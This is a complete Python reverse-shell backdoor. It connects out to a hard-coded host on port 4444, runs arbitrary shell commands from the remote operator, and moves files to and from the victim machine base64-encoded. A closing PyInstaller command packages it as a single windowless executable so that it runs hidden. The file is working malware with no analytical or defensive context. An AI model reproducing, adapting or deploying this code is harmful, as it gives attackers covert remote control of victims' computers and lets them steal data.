#!/usr/bin/env python

import json

import socket

import subprocess

import os

import base64

import sys

class Backdoor:

    def __init__(self, ip, port):

        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        self.connection.connect((ip, port))

    def reliable_send(self, data):

        json_data = json.dumps(data).encode()

        self.connection.send(json_data)

    def reliable_receive(self):

        json_data = ""

        while True:

            try:

                json_data = json_data + self.connection.recv(1024).decode()

                return json.loads(json_data)

            except ValueError:

                continue

    def change_working_directory_to(self, path):

        os.chdir(path)

        return "[+] Changing working directory to " + path

    def execute_system_command(self, command):

        DEVNULL = open(os.devnull, "wb")

        return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)

    def read_file(self, path):

        with open(path, "rb") as file:

            return base64.b64encode(file.read())

    def write_file(self, path, content):

        with open(path, "wb") as file:

            file.write(base64.b64decode(content))

            return "[+] Upload successful."

    def run(self):

        while True:

            command = self.reliable_receive()

            try:

                if command[0] == "exit":

                    self.connection.close()

                    sys.exit()

                elif command[0] == "cd" and len(command) > 1:

                    command_result = self.change_working_directory_to(command[1])

                elif command[0] == "upload":

                    command_result = self.write_file(command[1], command[2])

                elif command[0] == "download":

                    command_result = self.read_file(command[1]).decode()

                else:

                    command_result = self.execute_system_command(command).decode()

            except Exception:

                command_result = "[-] Error during command execution."

            self.reliable_send(command_result)

my_backdoor = Backdoor("10.0.0.43", 4444)

my_backdoor.run()

C:\Python37\Scripts\pyinstaller.exe reverse_backdoor.py --onefile --noconsole